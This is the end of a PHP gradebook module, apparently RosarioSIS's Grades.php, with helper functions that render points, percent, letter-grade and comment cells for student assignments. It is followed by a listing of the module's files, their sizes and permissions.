function fixVerticalTabindex(selector) {
var tabindex = 1;
$(selector).each(function(i, tbl) {
$(tbl).find('tr').first().find('td').each(function(clmn, el) {
$(tbl).find('tr td:nth-child(' + (clmn + 1) + ') input').each(function(j, input) {
$(input).attr('tabindex', tabindex++);
});
});
});
}
fixVerticalTabindex('.list-wrapper .list tbody');
</script>
<?php
echo $_REQUEST['assignment_id'] ? '<br /><div class="center">' . SubmitButton() . '</div>' : '';
echo '</form>';
/**
* @param $assignment_id
* @param $column
* @return mixed
*/
function _makeExtraAssnCols( $assignment_id, $column )
{
global $THIS_RET,
$assignments_RET,
$current_RET,
$points_RET,
$max_allowed,
$total,
$gradebook_config;
switch ( $column )
{
case 'POINTS':
if ( ! $assignment_id )
{
$total = $total_points = 0;
//FJ default points
$total_use_default_points = false;
if ( ! empty( $points_RET[$THIS_RET['STUDENT_ID']] ) )
{
foreach ( (array) $points_RET[$THIS_RET['STUDENT_ID']] as $partial_points )
{
/**
* Do not include Extra Credit assignments
* when Total Points is 0 for the Type
* if the Gradebook is configured to Weight Grades:
* Division by zero is impossible.
*/
if ( $partial_points['PARTIAL_TOTAL'] != 0
|| empty( $gradebook_config['WEIGHT'] ) )
{
$total += $partial_points['PARTIAL_POINTS'];
$total_points += $partial_points['PARTIAL_TOTAL'];
}
}
}
// return '<table cellspacing=0 cellpadding=0><tr><td>'.$total.'</td><td> / </td><td>'.$total_points.'</td></tr></table>';
return $total . ' / ' . $total_points;
}
else
{
if ( ! empty( $_REQUEST['include_all'] )
|| ( ( isset( $current_RET[$THIS_RET['STUDENT_ID']][$assignment_id][1]['POINTS'] )
&& $current_RET[$THIS_RET['STUDENT_ID']][$assignment_id][1]['POINTS'] != '' )
|| ! $assignments_RET[$assignment_id][1]['DUE_EPOCH']
|| $assignments_RET[$assignment_id][1]['DUE_EPOCH'] >= $THIS_RET['START_EPOCH']
&& ( ! $THIS_RET['END_EPOCH']
|| $assignments_RET[$assignment_id][1]['DUE_EPOCH'] <= $THIS_RET['END_EPOCH'] ) ) )
{
$total_points = $assignments_RET[$assignment_id][1]['POINTS'];
//FJ default points
$points = issetVal( $current_RET[$THIS_RET['STUDENT_ID']][$assignment_id][1]['POINTS'] );
$div = true;
if ( is_null( $points ) )
{
$points = $assignments_RET[$assignment_id][1]['DEFAULT_POINTS'];
$div = false;
}
if ( $points == '-1' )
{
$points = '*';
}
elseif ( mb_strpos( (string) $points, '.' ) )
{
$points = rtrim( rtrim( $points, '0' ), '.' );
}
// return '<table cellspacing=0 cellpadding=1><tr><td>'.TextInput($points,'values['.$THIS_RET['STUDENT_ID'].']['.$assignment_id.'][POINTS]','',' size=2 maxlength=7 tabindex='.$tabindex).'</td><td> / </td><td>'.$total_points.'</td></tr></table>';
$name = 'values[' . $THIS_RET['STUDENT_ID'] . '][' . $assignment_id . '][POINTS]';
$id = GetInputID( $name );
return '<span' . ( $div ? ' class="span-grade-points"' : '' ) . '>' .
TextInput(
$points,
$name,
'',
' size=2 maxlength=7',
$div
) . '</span>
<label for="' . $id . '"> / ' . $total_points . '</label>';
}
}
break;
case 'PERCENT_GRADE':
if ( ! $assignment_id )
{
$total = $total_percent = $total_weighted_grade = $total_weights = 0;
if ( ! empty( $points_RET[$THIS_RET['STUDENT_ID']] ) )
{
foreach ( (array) $points_RET[$THIS_RET['STUDENT_ID']] as $partial_points )
{
/**
* Do not include Extra Credit assignments
* when Total Points is 0 for the Type
* if the Gradebook is configured to Weight Grades:
* Division by zero is impossible.
*/
if ( $partial_points['PARTIAL_TOTAL'] != 0
|| empty( $gradebook_config['WEIGHT'] ) )
{
$total += $partial_points['PARTIAL_POINTS'] *
( ! empty( $gradebook_config['WEIGHT'] ) ?
$partial_points['FINAL_GRADE_PERCENT'] / $partial_points['PARTIAL_TOTAL'] :
1 );
$total_percent += ( ! empty( $gradebook_config['WEIGHT'] ) ?
$partial_points['FINAL_GRADE_PERCENT'] :
$partial_points['PARTIAL_TOTAL'] );
if ( ! empty( $gradebook_config['WEIGHT_ASSIGNMENTS'] ) )
{
// @since 11.0 Add Weight Assignments option
$total_weighted_grade += ( ! empty( $gradebook_config['WEIGHT'] ) ?
$partial_points['FINAL_GRADE_PERCENT'] * $partial_points['PARTIAL_WEIGHTED_GRADE'] :
$partial_points['PARTIAL_WEIGHTED_GRADE'] );
$total_weights += ( ! empty( $gradebook_config['WEIGHT'] ) ?
$partial_points['FINAL_GRADE_PERCENT'] * $partial_points['PARTIAL_WEIGHT'] :
$partial_points['PARTIAL_WEIGHT'] );
}
}
}
if ( $total_percent != 0 )
{
$total /= $total_percent;
}
if ( ! empty( $gradebook_config['WEIGHT_ASSIGNMENTS'] )
&& $total_weights > 0 )
{
// @since 11.0 Add Weight Assignments option
$total = $total_weighted_grade / $total_weights;
}
}
$red_span = $total > $max_allowed;
$percent = _makeLetterGrade( $total, 0, 0, '%' );
return _Percent( $percent, 2, $red_span );
}
else
{
if ( ! empty( $_REQUEST['include_all'] )
|| ( ( isset( $current_RET[$THIS_RET['STUDENT_ID']][$assignment_id][1]['POINTS'] )
&& $current_RET[$THIS_RET['STUDENT_ID']][$assignment_id][1]['POINTS'] != '' )
|| ! $assignments_RET[$assignment_id][1]['DUE_EPOCH']
|| $assignments_RET[$assignment_id][1]['DUE_EPOCH'] >= $THIS_RET['START_EPOCH']
&& ( ! $THIS_RET['END_EPOCH']
|| $assignments_RET[$assignment_id][1]['DUE_EPOCH'] <= $THIS_RET['END_EPOCH'] ) ) )
{
$total_points = $assignments_RET[$assignment_id][1]['POINTS'];
//FJ default points
$points = $current_RET[$THIS_RET['STUDENT_ID']][$assignment_id][1]['POINTS'];
if ( is_null( $points ) )
{
$points = $assignments_RET[$assignment_id][1]['DEFAULT_POINTS'];
}
if ( $total_points != 0 )
{
if ( $points != '-1' )
{
$red_span = ( $assignments_RET[$assignment_id][1]['DUE'] || $points != '' )
&& ( $points > $total_points * $max_allowed );
$percent = _makeLetterGrade( $points / $total_points, 0, 0, '%' );
return _Percent( $percent, 2, $red_span );
}
else
{
return _( 'N/A' );
}
}
else
{
return _( 'E/C' );
}
}
}
break;
case 'LETTER_GRADE':
if ( ! $assignment_id )
{
return '<b>' . _makeLetterGrade( $total ) . '</b>';
}
else
{
if ( ! empty( $_REQUEST['include_all'] )
|| ( ( isset( $current_RET[$THIS_RET['STUDENT_ID']][$assignment_id][1]['POINTS'] )
&& $current_RET[$THIS_RET['STUDENT_ID']][$assignment_id][1]['POINTS'] != '' )
|| ! $assignments_RET[$assignment_id][1]['DUE_EPOCH']
|| $assignments_RET[$assignment_id][1]['DUE_EPOCH'] >= $THIS_RET['START_EPOCH']
&& ( ! $THIS_RET['END_EPOCH']
|| $assignments_RET[$assignment_id][1]['DUE_EPOCH'] <= $THIS_RET['END_EPOCH'] ) ) )
{
$total_points = $assignments_RET[$assignment_id][1]['POINTS'];
//FJ default points
$points = $current_RET[$THIS_RET['STUDENT_ID']][$assignment_id][1]['POINTS'];
if ( is_null( $points ) )
{
$points = $assignments_RET[$assignment_id][1]['DEFAULT_POINTS'];
}
if ( $total_points != 0 )
{
if ( $points != '-1' )
{
return ( $assignments_RET[$assignment_id][1]['DUE'] || $points != '' ? '' : '<span style="color:gray">' ) . '<b>' . _makeLetterGrade( $points / $total_points ) . '</b>' . ( $assignments_RET[$assignment_id][1]['DUE'] || $points != '' ? '' : '</span>' );
}
else
{
return _( 'N/A' );
}
}
else
{
return _( 'N/A' );
}
}
}
break;
case 'COMMENT':
if ( ! $assignment_id )
{
}
else
{
if ( ! empty( $_REQUEST['include_all'] )
|| ( ( isset( $current_RET[$THIS_RET['STUDENT_ID']][$assignment_id][1]['POINTS'] )
&& $current_RET[$THIS_RET['STUDENT_ID']][$assignment_id][1]['POINTS'] != '' )
|| ! $assignments_RET[$assignment_id][1]['DUE_EPOCH']
|| $assignments_RET[$assignment_id][1]['DUE_EPOCH'] >= $THIS_RET['START_EPOCH']
&& ( ! $THIS_RET['END_EPOCH']
|| $assignments_RET[$assignment_id][1]['DUE_EPOCH'] <= $THIS_RET['END_EPOCH'] ) ) )
{
$return = TextInput(
issetVal( $current_RET[$THIS_RET['STUDENT_ID']][$assignment_id][1]['COMMENT'] ),
'values[' . $THIS_RET['STUDENT_ID'] . '][' . $assignment_id . '][COMMENT]',
'',
'size=20 maxlength=500'
);
if ( mb_strlen( (string) $current_RET[$THIS_RET['STUDENT_ID']][$assignment_id][1]['COMMENT'] ) > 60
&& ! isset( $_REQUEST['_ROSARIO_PDF'] ) )
{
// Comments length > 60 chars, responsive table ColorBox.
$return = '<div id="divGradesComment' . $THIS_RET['STUDENT_ID'] . '" class="rt2colorBox">' .
$return . '</div>';
}
return $return;
}
}
break;
}
}
/**
* @param $value
* @param $column
*/
function _makeExtraStuCols( $value, $column )
{
global $THIS_RET,
$assignments_RET,
$assignment_count,
$count_assignments,
$max_allowed;
//FJ default points
if ( is_null( $THIS_RET['POINTS'] ) )
{
$THIS_RET['POINTS'] = $assignments_RET[$THIS_RET['ASSIGNMENT_ID']][1]['DEFAULT_POINTS'];
}
switch ( $column )
{
case 'POINTS':
$assignment_count++;
//FJ default points
$div = true;
if ( is_null( $value ) )
{
$value = $assignments_RET[$THIS_RET['ASSIGNMENT_ID']][1]['DEFAULT_POINTS'];
$div = false;
}
if ( $value == '-1' )
{
$value = '*';
}
elseif ( mb_strpos( (string) $value, '.' ) )
{
$value = rtrim( rtrim( $value, '0' ), '.' );
}
// return '<table cellspacing=0 cellpadding=1><tr><td>'.TextInput($value,'values['.$THIS_RET['STUDENT_ID'].']['.$THIS_RET['ASSIGNMENT_ID'].'][POINTS]','',' size=2 maxlength=7 tabindex='.$tabindex).'</td><td> / </td><td>'.$THIS_RET['TOTAL_POINTS'].'</td></tr></table>';
$name = 'values[' . $THIS_RET['STUDENT_ID'] . '][' . $THIS_RET['ASSIGNMENT_ID'] . '][POINTS]';
$id = GetInputID( $name );
return '<span' . ( $div ? ' class="span-grade-points"' : '' ) . '>' .
TextInput(
$value,
$name,
'',
' size=2 maxlength=7',
$div
) . '</span>
<label for="' . $id . '"> / ' . $THIS_RET['TOTAL_POINTS'] . '</label>';
break;
case 'PERCENT_GRADE':
if ( $THIS_RET['TOTAL_POINTS'] != 0 )
{
if ( $THIS_RET['POINTS'] != '-1' )
{
$red_span = ( $THIS_RET['DUE'] || $THIS_RET['POINTS'] != '' )
&& ( $THIS_RET['POINTS'] > $THIS_RET['TOTAL_POINTS'] * $max_allowed );
$percent = _makeLetterGrade( $THIS_RET['POINTS'] / $THIS_RET['TOTAL_POINTS'], 0, 0, '%' );
return _Percent(
$percent,
2,
$red_span
);
}
return _( 'N/A' );
}
return _( 'E/C' );
break;
case 'LETTER_GRADE':
if ( $THIS_RET['TOTAL_POINTS'] != 0 )
{
if ( $THIS_RET['POINTS'] != '-1' )
{
return ( $THIS_RET['DUE'] || $THIS_RET['POINTS'] != '' ? '' : '<span style="color:gray">' ) . '<b>' . _makeLetterGrade( $THIS_RET['POINTS'] / $THIS_RET['TOTAL_POINTS'] ) . '</b>' . ( $THIS_RET['DUE'] || $THIS_RET['POINTS'] != '' ? '' : '</span>' );
}
}
return _( 'N/A' );
break;
case 'COMMENT':
$return = TextInput(
$value,
'values[' . $THIS_RET['STUDENT_ID'] . '][' . $THIS_RET['ASSIGNMENT_ID'] . '][COMMENT]',
'',
'size=20 maxlength=500'
);
if ( mb_strlen( (string) $value ) > 60
&& ! isset( $_REQUEST['_ROSARIO_PDF'] ) )
{
// Comments length > 60 chars, responsive table ColorBox.
$return = '<div id="divGradesComment' . $THIS_RET['STUDENT_ID'] . '" class="rt2colorBox">' .
$return . '</div>';
}
return $return;
break;
}
}
/**
* @param $assignment_id
* @param $column
*/
function _makeExtraCols( $assignment_id, $column )
{
global $THIS_RET,
$assignments_RET,
$current_RET,
$old_student_id,
$student_count,
$count_students,
$max_allowed;
if ( $THIS_RET['STUDENT_ID'] != $old_student_id )
{
$student_count++;
$old_student_id = $THIS_RET['STUDENT_ID'];
}
$total_points = $assignments_RET[$assignment_id][1]['POINTS'];
$current_RET[$THIS_RET['STUDENT_ID']][$assignment_id][1]['POINTS'] = issetVal( $current_RET[$THIS_RET['STUDENT_ID']][$assignment_id][1]['POINTS'] );
if ( ! empty( $_REQUEST['include_all'] )
|| ( $current_RET[$THIS_RET['STUDENT_ID']][$assignment_id][1]['POINTS'] != ''
|| ! $assignments_RET[$assignment_id][1]['DUE_EPOCH']
|| $assignments_RET[$assignment_id][1]['DUE_EPOCH'] >= $THIS_RET['START_EPOCH']
&& ( ! $THIS_RET['END_EPOCH']
|| $assignments_RET[$assignment_id][1]['DUE_EPOCH'] <= $THIS_RET['END_EPOCH'] ) ) )
{
//FJ default points
$points = $current_RET[$THIS_RET['STUDENT_ID']][$assignment_id][1]['POINTS'];
$div = true;
if ( is_null( $points ) )
{
$points = $assignments_RET[$assignment_id][1]['DEFAULT_POINTS'];
$div = false;
}
if ( $points == '-1' )
{
$points = '*';
}
elseif ( mb_strpos( (string) $points, '.' ) )
{
$points = rtrim( rtrim( $points, '0' ), '.' );
}
$name = 'values[' . $THIS_RET['STUDENT_ID'] . '][' . $assignment_id . '][POINTS]';
$id = GetInputID( $name );
if ( $total_points != 0 )
{
if ( $points != '*' )
{
$percent_red_span = ( $assignments_RET[$assignment_id][1]['DUE'] || $points != '' )
&& ( $points > $total_points * $max_allowed );
$percent = _makeLetterGrade( $points / $total_points, 0, 0, '%' );
// modif Francois: display letter grade according to Configuration
return '<span' . ( $div ? ' class="span-grade-points"' : '' ) . '>' .
TextInput(
$points,
$name,
'',
' size=2 maxlength=7',
$div
) . '</span>
<label for="' . $id . '"> / ' . $total_points . '</label><span>' .
( ProgramConfig( 'grades', 'GRADES_DOES_LETTER_PERCENT' ) >= 0 ?
' − ' . _Percent( $percent, 2, $percent_red_span ) :
'' ) .
( ProgramConfig( 'grades', 'GRADES_DOES_LETTER_PERCENT' ) <= 0 ?
' − <b>' . _makeLetterGrade( $points / $total_points ) . '</b>' :
'' ) .
'</span>';
}
//return '<table cellspacing=0 cellpadding=1><tr align=center><td>'.TextInput($points,'values['.$THIS_RET['STUDENT_ID'].']['.$assignment_id.'][POINTS]','',' size=2 maxlength=7 tabindex='.$tabindex).'<hr />'.$total_points.'</td><td> '._('N/A').'<br /> '._('N/A').'</td></tr></table>';
return '<span' . ( $div ? ' class="span-grade-points"' : '' ) . '>' .
TextInput(
$points,
$name,
'',
' size=2 maxlength=7',
$div
) . '</span>
<label for="' . $id . '"> / ' . $total_points . '</label>
<span> − ' . _( 'N/A' ) . '</span>';
}
//return '<table class="cellspacing-0"><tr class="center"><td>'.TextInput($points,'values['.$THIS_RET['STUDENT_ID'].']['.$assignment_id.'][POINTS]','',' size=2 maxlength=7 tabindex='.$tabindex).'<hr />'.$total_points.'</td><td> E/C</td></tr></table>';
return '<span' . ( $div ? ' class="span-grade-points"' : '' ) . '>' .
TextInput(
$points,
$name,
'',
' size=2 maxlength=7',
$div
) . '</span>
<label for="' . $id . '"> / ' . $total_points . '</label>
<span> − ' . _( 'E/C' ) . '</span>';
}
}
/**
* Make Percent HTML
*
* @since 7.4 Put raw percent inside HTML comment for better sorting.
* @since 7.4 Add $red_span parameter.
*
* @param string $num Unformatted percent.
* @param int $decimals Percent decimals.
* @param bool $red_span Set to true to color percentage in red. Typically if over 100%.
*
* @return Percent HTML with raw value inside HTML comment for better sorting.
*/
function _Percent( $num, $decimals = 2, $red_span = false )
{
// Raw value in comment so we can sort Percent column the right way.
$percent_html = '<!-- ' . number_format( $num, $decimals, '.', '' ) . ' -->';
$percent_html .= ( $red_span ? '<span style="color:red">' : '' );
// Fix trim 0 (float) when percent > 1,000: do not use comma for thousand separator.
$percent_html .= (float) number_format( $num, $decimals, '.', '' ) . '%';
$percent_html .= ( $red_span ? '</span>' : '' );
return $percent_html;
}
/**
* SQL to extract Unix timestamp or epoch from date
* Use UNIX_TIMESTAMP() for MySQL and extract(EPOCH) for PostgreSQL
*
* Local function
*
* @since 9.3
*
* @param string $column Date column.
*
* @return string MySQL or PostgreSQL function
*/
function _SQLUnixTimestamp( $column )
{
global $DatabaseType;
if ( $DatabaseType === 'mysql' )
{
return "UNIX_TIMESTAMP(" . $column . ")";
}
return "extract(EPOCH FROM " . $column . ")";
}
/**
* Make Assignment Title
* Truncate Assignment title to 36 chars
*
* Local function.
* GetStuList() DBGet() callback.
*
* @since 10.5.2
*
* @param string $value Title value.
* @param string $column Column. Defaults to 'TITLE'.
*
* @return string Assignment title truncated to 36 chars.
*/
function _makeTitle( $value, $column = 'TITLE' )
{
if ( ! empty( $_REQUEST['LO_save'] ) )
{
// Export list.
return $value;
}
$title = mb_strlen( $value ) <= 36 ?
$value :
'<span title="' . AttrEscape( $value ) . '">' . mb_substr( $value, 0, 33 ) . '...</span>';
return $title;
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| includes | Folder | 0755 |
|
|
| AnomalousGrades.php | File | 7 KB | 0644 |
|
| Assignments-new.php | File | 16.22 KB | 0644 |
|
| Assignments.php | File | 33 KB | 0644 |
|
| Configuration.php | File | 14.5 KB | 0644 |
|
| EditHistoryMarkingPeriods.php | File | 5.47 KB | 0644 |
|
| EditReportCardGrades.php | File | 16.56 KB | 0644 |
|
| FinalGrades.php | File | 18.44 KB | 0644 |
|
| GPARankList.php | File | 2.71 KB | 0644 |
|
| GradeBreakdown.php | File | 5.16 KB | 0644 |
|
| GradebookBreakdown.php | File | 13.13 KB | 0644 |
|
| Grades.php | File | 42.87 KB | 0644 |
|
| HonorRoll.php | File | 3.63 KB | 0644 |
|
| InputFinalGrades.php | File | 48.09 KB | 0644 |
|
| MassCreateAssignments.php | File | 18.08 KB | 0644 |
|
| Menu.php | File | 3.19 KB | 0644 |
|
| ProgressReports.php | File | 18.06 KB | 0644 |
|
| ReportCardCommentCodes.php | File | 8.18 KB | 0644 |
|
| ReportCardComments.php | File | 14.78 KB | 0644 |
|
| ReportCardGrades.php | File | 12 KB | 0644 |
|
| ReportCards.php | File | 2.98 KB | 0644 |
|
| StudentAssignments.php | File | 1.74 KB | 0644 |
|
| StudentGrades.php | File | 26.83 KB | 0644 |
|
| TeacherCompletion.php | File | 5.86 KB | 0644 |
|
| Transcripts.php | File | 3.22 KB | 0644 |
|